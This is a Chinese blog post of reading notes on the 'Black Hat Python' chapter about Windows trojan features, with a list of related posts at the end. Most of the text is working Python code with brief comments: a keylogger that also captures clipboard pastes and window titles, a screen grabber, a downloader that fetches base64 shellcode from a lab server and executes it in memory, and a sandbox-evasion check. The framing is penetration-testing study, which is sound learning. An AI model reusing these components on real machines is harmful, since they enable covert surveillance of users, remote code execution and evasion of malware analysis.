《python黑帽子:黑客与渗透测试编程之道》读书笔记:windows下木马的常用功能(代码片段)

思源湖的鱼 思源湖的鱼     2022-12-16     330

关键词:

前言

《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。书是比较老了,anyway,还是本很好的书

本篇是第8章Windows下木马的常用功能,包括键盘记录,屏幕快照,执行shellcode,并穿插沙盒检测技术

1、键盘记录

键盘记录是最古老的黑客技术之一

#!/usr/bin/env python
#-*- coding:utf8 -*-

from ctypes import *
import pythoncom
import pyHook #这个库可以捕获键盘事件,用了SetWindowsHookEx
import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None

def get_current_process():

    # 获取前台窗口句柄
    hwnd = user32.GetForegroundWindow()

    # 获得进程ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))

    # 保存当前进程ID
    process_id = "%d" % pid.value

    # 申请内存
    executable = create_string_buffer("\\x00" * 512)
    # 打开进程
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
    # 获取进程所对应的可执行文件的名字
    psapi.GetModuleBaseNameA(h_process, None, byref(executable),512)

    # 读取窗口标题
    window_title = create_string_buffer("\\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title), 512)

    # 输出进程相关信息
    print
    print "[ PID: %s - %s - %s]" % (process_id, executable.value, window_title.value)
    print

    # 关闭句柄
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)

# 核心代码
def keyStore(event):
    global current_window

    # 检查目标是否切换了窗口
    if event.WindowName != current_window:
        current_window = event.WindowName
        get_current_process()

    # 检测按键是否为常规按键(非组合键等)
    if event.Ascii > 32 and event.Ascii < 127:
        print chr(event.Ascii),
    else:
        # 若输入为[CTRL-V],则获取剪切板内容
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()

            print "[PASTE] - %s" % (pasted_value),

        else:
            print "[%s]" % event.Key,

    # 返回直到下一个钩子事件被触发
    return True

# 创建和注册钩子函数管理器
k1 =pyHook.HookManager()
# 绑定事件
k1.KeyDown = keyStore

# 注册键盘记录的钩子,然后永久执行
k1.HookKeyboard()
pythoncom.PumpMessages()

2、屏幕快照

可以用PyWin32库来调用GDI进行抓屏

#!/usr/bin/env python
#-*- coding:utf8 -*-

import win32gui
import win32ui
import win32con
import win32api

# 获取窗口桌面的句柄
hdesktop = win32gui.GetDesktopWindow()

# 获得显示屏的像素尺寸
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

# 创建设备描述表
desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)

# 创建基于内存的设备描述表,用于储存我们捕获到的图片的数据,直到我们保存到文件
mem_dc = img_dc.CreateCompatibleDC()

# 创建位图对象
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)
mem_dc.SelectObject(screenshot)

# 复制屏幕到我们的内存设备描述表中
mem_dc.BitBlt((0,0), (width,height), img_dc, (left, top), win32con.SRCCOPY)

# 将位图保存到文件中
screenshot.SaveBitmapFile(mem_dc, "C:\\\\test.bmp")

# 释放对象
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())

3、shellcode

利用urllib2库从web服务器上下载base64编码的shellcode

#!/usr/bin/env python
#-*- coding:utf8 -*-

import urllib2
import ctypes
import base64

# 从我们搭建的服务器下下载shellcode
url = "http://10.10.10.128:8000/shellcode.exe"
response = urllib2.urlopen(url)

# 解码shellcode
shellcode = base64.b64decode(response.read())
# 申请内存空间
shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))
# 创建shellcode的函数指针
shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p))
# 执行shellcode
shellcode_func()

4、沙盒检测

主要是根据用户的交互来判断是不是沙盒

#!/usr/bin/env python
#-*- coding:utf8 -*-

import ctypes
import random
import time
import sys

user32 = ctypes.windll.user32
kernel32 = ctypes.windll.kernel32

# 用于记录鼠标单击,键盘按键和双击的总数量
keystrokes = 0
mouse_clicks = 0
double_clicks = 0

#  定义LASTINPUTINFO结构体
class LASTINPUTINFO(ctypes.Structure):
    _fields_ = [
                ("cbsize", ctypes.c_uint),  # 结构体大小
                ("dwTime", ctypes.c_ulong)  # 系统最后输入时间
                ]

def get_last_input():
    struct_lastinputinfo = LASTINPUTINFO()
    struct_lastinputinfo.cbSize = ctypes.sizeof(LASTINPUTINFO)

    # 获得用户最后输入的相关信息
    user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo))

    # 获取系统开机以来的时间
    run_time = kernel32.GetTickCount()

    elapsed = run_time - struct_lastinputinfo.dwTime
    print "[*] It's been %d milliseconds since the last input event." % elapsed

    return elapsed

# 测试后删除下面代码,这只是测试上面代码能否运行成功
# while True:
#     get_last_input()
#     time.sleep(1)

def get_key_press():
    global mouse_clicks
    global keystrokes

    for i in range(0,0xff):
        # 检测某个按键是否被按下
        if user32.GetAsyncKeyState(i) == -32767:
            # 左键点击为0x1
            if i == 0x1:
                # 鼠标单击的数目和时间
                mouse_clicks += 1
                return time.time()
            # 键盘ASCII按键是从23-127(具体可看ASCII表),为可打印字符,这就获取了键盘的敲击次数
            elif i > 32 and i < 127:
                keystrokes += 1

    return None

def detect_sandbox():
    global mouse_clicks
    global keystrokes

    # 定义键盘,单击,双击的最大值(阀值)
    max_keystrokes = random.randint(10,25)
    max_mouse_clicks = random.randint(5,25)
    max_double_clicks = 10

    double_clicks = 0
    double_click_threshold = 0.250 #秒为单位
    first_double_click = None

    average_mousetime = 0
    max_input_threshold = 30000 #毫秒为单位

    previous_timestamp = None
    detection_complete = False

    # 获取用户最后一次输入之后经历的时间
    last_input = get_last_input()

    # 超过设定的阀值时强制退出,就是用户最后一次输入之后经历的时间太长,都没用户活动了
    if last_input >= max_input_threshold:
        sys.exit(0)

    # 循环检测
    while not detection_complete:

        # 获取按下鼠标的时间,不懂的看函数的返回值
        keypress_time = get_key_press()

        if keypress_time is not None and previous_timestamp is not None:
            # 计算两次点击的相隔时间
            elapsed = keypress_time - previous_timestamp
            # 间隔时间短的话,则为用户双击
            if elapsed <= double_click_threshold:
                double_clicks += 1
                if first_double_click is None:
                    # 获取第一次双击的时间
                    first_double_click = time.time()
                else:
                    # 是否是沙盒的管理者在沙盒中模仿用户的点击(因为普通用户通常不会双击这么多)
                    if double_clicks == max_double_clicks:
                        # 短时间内,鼠标点击达到了我们设定的最大值(最大次数*双击间隔)
                        if keypress_time - first_double_click <= (max_double_clicks * double_click_threshold):
                            sys.exit(0)
            # 是否达到了我们检测的最大数量,是就退出
            if keystrokes >= max_keystrokes and double_clicks >= max_double_clicks and mouse_clicks >=max_mouse_clicks:
                return

            previous_timestamp = keypress_time
        elif keypress_time is not None:
            previous_timestamp = keypress_time

detect_sandbox()
print "We are Ok!"

结语

一些简单的脚本

《python黑帽子:黑客与渗透测试编程之道》读书笔记:扩展burp代理(代码片段)

...p中利用Bing服务3、利用网站内容生成密码字典结语前言《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。书是比较老了,anyway,还是本很好的书本... 查看详情

《python黑帽子:黑客与渗透测试编程之道》读书笔记:基于github的木马(代码片段)

...模块3、木马配置4、编写基于github通信的木马结语前言《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。书是比较老了,anyway,还是本很好的书本... 查看详情

《python黑帽子:黑客与渗透测试编程之道》读书笔记:自动化攻击取证(代码片段)

...口令的哈希值3、直接代码注入4、插入shellcode结语前言《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。书是比较老了,anyway,还是本很好的书本... 查看详情

《python黑帽子:黑客与渗透测试编程之道》读书笔记:scapy——网络的掌控者(代码片段)

...1、窃取email认证2、ARP缓存投毒3、PCAP文件处理结语前言《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。书是比较老了,anyway,还是本很好的书本... 查看详情

《python黑帽子:黑客与渗透测试编程之道》读书笔记:windows下木马的常用功能(代码片段)

...、键盘记录2、屏幕快照3、shellcode4、沙盒检测结语前言《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。书是比较老了,anyway,还是本很好的书本... 查看详情

《python黑帽子:黑客与渗透测试编程之道》读书笔记:网络基础(代码片段)

目录前言1、网络基础(1)TCP客户端(2)UDP客户端(3)TCP服务器2、取代netcat(1)bhnet.py脚本(2)运行方法3、创建一个TCP代理(1)TCPproxy.py脚本(2)运行方法4 查看详情

《python黑帽子:黑客与渗透测试编程之道》读书笔记:原始套接字和流量嗅探(代码片段)

...的包嗅探2、解码IP层3、解码ICMP层4、发现主机结语前言《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。书是比较老了,anyway,还是本很好的书本... 查看详情

python灰帽子:黑客与逆向工程师的python编程之道pdf高清完整版免费下载|百度云盘

提取码:8nki      目录  · · · · · ·第1章搭建开发环境11.1操作系统要求 11.2获取和安装Python2.5 21.2.1在Windows下安装Python 2 查看详情

python灰帽子讲的啥

内容简介《Python灰帽子》是由知名安全机构ImmunityInc的资深黑帽JustinSeitz主笔撰写的一本关于编程语言Python如何被广泛应用于黑客与参考技术A内容简介《Python灰帽子》是由知名安全机构ImmunityInc的资深黑帽JustinSeitz主笔撰写的一本... 查看详情

黑客入门推荐什么书籍

...000条评价,评分高达4.5星,销量也非常不错。2.《Python编程:从入门到实践》(作者:EricMatthes)Python是一门广泛应用于网络和安全领域的编程语言,本书从入门到实践的角度,为初学者提供了详细... 查看详情

如何成为一名白帽子

...三版)《Linux二进制分析》《网络空间安全实战基础》《Python绝技:运用Python成为顶级黑客》《白帽子讲web安全》《web前端黑客技术解密》参考技术A谷安网校,有课程;2cto,也有课程。他们的讲师,有些也愿意带新人,你可以... 查看详情

如何入门渗透测试

...师也可以认为是一个厉害的黑客,也可以被称呼为白帽子。一定要注意的是,在进行渗透测试前,需要获得目标客户的授权,如果未获得授权,千万不要对目标系统进行渗透测试,后果请查看《网络安全法... 查看详情

如何入门渗透测试

...师也可以认为是一个厉害的黑客,也可以被称呼为白帽子。一定要注意的是,在进行渗透测试前,需要获得目标客户的授权,如果未获得授权,千万不要对目标系统进行渗透测试,后果请查看《网络安全法... 查看详情

给大家总结的一份白帽子成长进阶指南(内附学习资源)(代码片段)

...言最近翻知乎看到了好多人问如何入门成为一名光荣的白帽子,在这里我将一些大佬的回答再加上我自己的想法进行了系统性的梳理,希望对刚入门的小萌新有一些帮助。入坑前你必须了解的事法律法规道路千万条,安全第一条... 查看详情

渗透测试:看“道德黑客”如何进行模拟攻击

...以帮助其提高系统安全性。由于渗透测试人员遵循与恶意黑客相同的攻击策略,所以他们有时候被称为“道德黑客”或“白帽黑客”。渗透测试可以由团队或独立黑客进行,他们可能是目标公司的内部员工,也可能独... 查看详情

网络安全之渗透测试

认识黑客黑客(大陆和香港:黑客;台湾:骇客,英文:Hacker),通常是指对计算机科学、编程和设计方面具高度理解的人。“黑客”也可以指:泛指擅长IT技术的人群、计算机科学家。Hacker们... 查看详情

第八周读书笔记《黑客与画家》

这周我阅读的书目是《黑客与画家》,感觉这本书是一本极其有趣味并值得我们深思的书,它主要介绍了现在社会一个特别但又重要的群体——黑客,讲述了他们的特点,以及他们的能力和这份能力为社会为自己带来了什么。黑... 查看详情

java开发运维(关于渗透测试与漏洞修复)

...小程序或者app都需要进行渗透测试。渗透测试是模拟真实黑客的攻击手段,对目标网站或主机进行全面的安全评估。与黑客攻击不同,渗透测试的目的是尽可能多地发现安全漏洞,而真正的黑客只需要找到一种入侵。... 查看详情